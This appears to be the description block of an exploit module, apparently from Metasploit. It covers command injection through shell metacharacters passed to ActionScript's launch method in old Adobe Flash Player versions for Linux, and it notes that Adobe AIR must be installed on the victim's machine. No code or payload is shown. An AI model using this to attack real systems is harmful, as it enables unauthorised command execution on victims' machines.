          This module exploits a vulnerability in Adobe Flash Player for Linux,
          version 10.0.12.36 and 9.0.151.0 and prior.
          An input validation vulnerability allows command execution when the browser
          loads a SWF file which contains shell metacharacters in the arguments to
          the ActionScript launch method.

          The victim must have Adobe AIR installed for the exploit to work. This module
          was tested against version 10.0.12.36 (10r12_36).
